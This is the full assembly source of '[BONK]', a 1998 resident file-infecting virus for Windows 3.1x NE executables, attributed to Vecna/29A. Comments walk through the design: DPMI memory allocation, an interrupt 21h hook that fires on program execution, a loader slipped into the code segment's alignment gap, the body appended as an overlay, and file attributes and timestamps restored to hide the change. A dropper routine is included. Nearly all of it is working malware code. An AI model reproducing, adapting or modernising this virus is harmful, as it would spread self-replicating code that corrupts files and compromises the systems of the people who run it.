;[BONK] Resident NE infector
;Copyright 1998 (c) Vecna
;
;This virus is a resident New Exe infector, infecting files for Windows 3.1x.
;The virus add a loader in the gap caused by sector alignment in the entry
;code segment, and the rest of the virus as a overlay in the end of file. It
;infect and goes memory resident using DPMI calls, and not API calls, like
;lesser infectors. We avoid the mediation of Windows, and talk directly with
;DPMI, our real host.
;
;When a infected file is executed, the virus loader take control. It first
;check for a already resident copy, then alloc some DPMI memory, creating the
;apropriated descriptors. The host file is open(the name of the host is stored
;at infection time, so, if it is renamed, the virus cant go memory resident)
;and the virus body is read to the allocated memory. Then the execution
;continue in the allocated memory, that hook interrupt 0x21, putting the
;original vector in the interrupt 0xFF.
;
;The virus hook check for self check and file execute. When a file is executed,
;the name is stored in the buffer, and the file is checked. Attributes, date
;and time are saved and restored after infection. To be infected, the file
;must have a NE header, not be a DLL, dont have more than 512 relocations in
;the code section, and have enought space to add the loader. The infected
;files are marked with the id string 1234h in the checksum field of the NE
;header. The gangload is killed, and this flag is reset.

.model tiny
.386
.code

org 0

virsize  = vend - vstart
virmsize = mend - vstart
lsize    = lend - lstart

vstart equ this byte

infectdsdx:
       pusha
       mov ax, 4300h
       int 21h
       jc er1
       push cx                                 ;save attr
       push dx                                 ;save name
       mov ax, 4301h
       xor cx, cx
       int 21h                                 ;zero attr
       jc er2
       mov ax, 3d02h
       int 21h                                 ;open file R/W
       jc er2
       mov bx, ax
       mov ax, 5700h
       int 21h
       jc er3
       push cx                                 ;save date/time
       push dx
       mov ah, 3fh
       mov cx, 40h
       mov dx, offset doshdr
       mov si, dx
       int 21h                                 ;read dos header
       jc er4
       cmp word ptr [si], 'ZM'
       jne er4                                 ;exit if not a EXE
       mov ax, 4200h
       sub cx, cx
       mov dx, [si+3ch]
       mov [nestart], dx
       int 21h                                 ;seek new header
       mov dx, si
       mov ah, 3fh
       mov cx, nesize
       int 21h                                 ;read new header
       cmp [nemarker], 'EN'
       jne er4                                 ;exit if a NE file
       mov ax, 1234h
       cmp word ptr [necrc], ax
       mov word ptr [necrc], ax
       je er4                                  ;exit if already infected
       mov cx, [nesegtableshift]
       mov ax, 1
       shl ax, cl                              ;num of bytes is sector
       cmp ax, lsize
       jbe er4                                 ;sector too small
       mov [segsize], ax
       mov al, [netargetos]
       cmp al, 2
       je okOS
       cmp al, 4
       jne er4                                 ;no win prog
okOS:
       mov al, [neapp_flags]
       test al, 80h                            ;DLL?
       jnz er4
       mov cx, 8
       mov ax, word ptr [necsip+2]
       dec ax
       mul cl
       add ax, [nesegtableofs]
       add ax, [nestart]
       mov dx, ax
       mov [segtable], ax                      ;save CODE entry table offset
       mov ax, 4200h
       xor cx, cx
       int 21h
       mov ah, 3fh
       mov dx, offset csentry
       mov si, dx
       mov cx, 8
       int 21h                                 ;read CODE entry table
       xor dx, dx
       mov ax, [segsize]
       mul [nesegsectorofs]
       add ax, [nesegfileimagesz]
       mov dx, 4200h
       xchg ax, dx
       sub cx, cx
       int 21h                                 ;seek end of code in section
       push ax
       push dx                                 ;save insert pos
       mov ax, [nesegfileimagesz]
       xchg ax, word ptr [necsip]
       mov [oldentry], ax                      ;set new IP and save old
       sub ax, ax
       mov [negangloadofs], ax
       mov [negangloadsize], ax                ;reset gangload area
       and [neotherflags], not 1000b
       test [nesegattr], 100000000b
       jz norelocs
       mov ah, 3fh
       mov cx, 2
       mov dx, offset n_relocs
       int 21h                                 ;read num of relocs
       mov cx, word ptr [n_relocs]
       shl cx, 3
       mov [szreloc], cx                       ;size in bytes of reloc info
       cmp cx, 512*8
       ja pop2                                 ;too much for our buffer
       mov ah, 3fh
       mov dx, offset relocs
       int 21h                                 ;read relocs
norelocs:
       mov ax, 4201h
       cwd
       sub cx, cx
       int 21h                                 ;get current pos
analise:
       mov cx, [segsize]
       div cx
       sub cx, dx
       cmp cx, lsize                           ;enought space for us
       pop cx
       pop dx
       jb er4
       mov ax, 4200h
       int 21h
       mov ah, 40h
       mov dx, offset lstart
       mov cx, lsize
       int 21h                                 ;write virus loader
       test [nesegattr], 100000000b
       jz writevirus
       mov ah, 40h
       mov dx, offset n_relocs
       mov cx, [szreloc]
       add cx, 2
       int 21h                                 ;write reloc info
writevirus:
       mov ax, 4202h
       cwd
       sub cx, cx
       int 21h                                 ;seek to eof
       mov ah, 40h
       mov cx, virsize
       sub dx, dx
       int 21h                                 ;write virus code
       mov ax, 4200h
       xor cx, cx
       mov dx, [nestart]
       int 21h                                 ;seek NE header position
       mov ah, 40h
       mov dx, offset nehdr
       mov cx, nesize
       int 21h                                 ;write NE header
       mov ax, 4200h
       xor cx, cx
       mov dx, [segtable]
       int 21h                                 ;seek pos of CODE entry table
       mov dx, offset csentry
       add [nesegfileimagesz], lsize
       add [nesegmemimagesize], lsize          ;fix CODE entry table
       mov ah, 40h
       mov cx, 8
       int 21h                                 ;write CODE entry table
       jmp er4
pop2:
       add sp, 4                               ;restore stack in error
er4:
       pop dx
       pop cx
       mov ax, 5701h
       int 21h                                 ;restore date/time
er3:
       mov ah, 3eh
       int 21h                                 ;close file
er2:
       pop dx
       pop cx
       mov ax, 4301h
       int 21h                                 ;restore attr
er1:
       popa
       ret

       db 13d
       db '[BONK] by Vecna/29A (c) 1998', 13d
       db 'New technology for old header formats...', 13d

lstart:
       pusha
       mov ax, 'BO'
       int 21h
       cmp ax, 'NK'
       je installed
noinstalled:
       push ds
       push es
       push cs
       call over
return:
       pop es                                  ;a retf in mem bring us here
       pop ds
installed:
       popa
       push 1234h
oldentry equ word ptr $-2
       ret
baderror:
       add sp, 1*2
reallybad:
       add sp, 5*2
       jmp return
over:
       mov ax, 501h
       mov cx, virmsize
       xor bx, bx
       push bx
       push cx
       push bx
       push cx
       int 31h                                 ;alloc memory
       jc baderror
       push bx cx
       sub ax, ax
       mov cx, 1
       int 31h                                 ;create descriptor
       mov bx, ax
       mov ax, 7
       pop dx cx
       int 31h                                 ;set descriptor base
       mov ax, 8
       pop dx
       pop cx
       int 31h                                 ;set descriptor limit
       mov ax, 9
       mov cx, 255
       int 31h                                 ;set acess rights to code
       pop dx
       pop cx
       push bx
       push offset continue_high
       push dx
       push cx
       mov ax, 0ah
       int 31h                                 ;get alias to code
       pop cx
       pop dx
       mov bx, 8h
       xchg bx, ax
       int 31h                                 ;set limit of data descriptor
       push bx
       call over_name
fname  db 13 dup (0)
over_name:
       pop dx
       push cs
       pop ds
       mov ax, 3d00h
       int 21h                                 ;open host
       jc reallybad
       xchg ax, bx
       mov ax, 4202h
       mov cx, -1
       mov dx, -virsize
       int 21h                                 ;seek virusbody
       mov ah, 3fh
       pop ds
       xor dx, dx
       mov cx, virsize
       int 21h                                 ;read main virus body
       retf                                    ;jmp to overlay part
lend:

vinto  db 0

int21:
       cmp byte ptr cs:[vinto], 1
       je doold
       cmp ax, 'BO'                            ;selfcheck?
       jne noselfcheck
       mov ax, 'NK'
       iret
noselfcheck:
       pusha
       push ds
       push es
       cmp ax, 4b00h
       jne no_exec                             ;infect on EXECUTE
       push dx
       mov ax, 0ah
       mov bx, cs
       int 31h
       jc no_exec
       mov es, ax
       mov byte ptr es:[vinto], 1              ;recursive flag
       mov bx, 8
       xchg ax, bx
       sub cx, cx
       mov dx, offset virmsize
       int 31h
       cld
       pop si
       mov dx, offset fname
set_start:
       mov di, dx
n_char:
       lodsb                                   ;get plain filename
       cmp al, 'a'
       jb noupcase
       cmp al, 'z'
       ja noupcase
       and al, not 20h
noupcase:
       stosb
       or al, al
       jz end_name
       cmp al, '\'
       jne n_char
       jmp set_start
end_name:
       push es
       pop ds
       call infectdsdx                         ;infect file
free_ldt:
       mov byte ptr es:[vinto], 0
       mov ax, 1
       mov bx, es
       int 31h
no_exec:
       pop es
       pop ds
       popa
doold:
       int 0ffh                                ;exec old int21
       retf 2

continue_high:
       mov ah, 3eh                             ;close file
       int 21h
       mov ax, 4
       push cs
       pop bx
       int 31h                                 ;lock code
       mov ax, 204h
       mov bl, 21h
       int 31h                                 ;get int21 vector
       push dx
       push cx
       mov ax, 205h
       mov bl, 21h
       mov cx, cs
       mov dx, offset int21
       int 31h                                 ;set new int21 vector
       mov ax, 205h
       mov bl, 0ffh
       pop cx
       pop dx
       int 31h                                 ;set int0ff to old int21
       mov byte ptr ds:[vinto], 0
       mov ax, 1
       mov bx, ds                              ;free data descriptor
       int 31h
       retf                                    ;return to loader

       align 16

vend   equ this byte

doshdr                   equ this byte
nehdr                    equ this byte
nemarker                 dw 0
nelinkerversion          dw 0
neentrytableofs          dw 0
neentrytablesize         dw 0
necrc                    dd 0
neprog_flags             db 0
neapp_flags              db 0
neautodataseg            dw 0
neheapsize               dw 0
nestacksize              dw 0
necsip                   dd 0
nesssp                   dd 0
nesegtablecount          dw 0
nemodulecount            dw 0
nenonressize             dw 0
nesegtableofs            dw 0
nerestableoff            dw 0
neresnametableofs        dw 0
nemodreftableofs         dw 0
neimpnamestableofs       dw 0
nenonresnametablefilepos dd 0
nemoventrypointcount     dw 0
nesegtableshift          dw 0
nerestablecount          dw 0
netargetos               db 0
neotherflags             db 0
negangloadofs            dw 0
negangloadsize           dw 0
nesize                   equ $ -offset nehdr

csentry                  equ this byte
nesegsectorofs           dw 0
nesegfileimagesz         dw 0
nesegattr                dw 0
nesegmemimagesize        dw 0
nestart                  dw 0

segsize                  dw 0
segtable                 dw 0
szreloc                  dw 0
n_relocs                 dw 0
relocs                   db 512*8 dup (0)

mend   equ this byte

;first generation dropper, just ignore
;infect BAIT.EXE in test dir
dropper:
       mov ax, 3531h
       int 21h
       push es
       push bx
       push cs
       pop ds
       mov dx, offset _iret
       mov ax, 2531h
       int 21h
       push cs
       push cs
       pop es
       pop ds
       mov dx, offset fname1
       mov ax, 4b00h
       call int21
       pop dx
       pop ds
       mov ax, 2531h
       int 21h
       mov ax, 4c00h
       int 21h
_iret:
       mov ax, cs
       iret

fname1 db 'c:\lixo\bait.exe',0

end    dropper
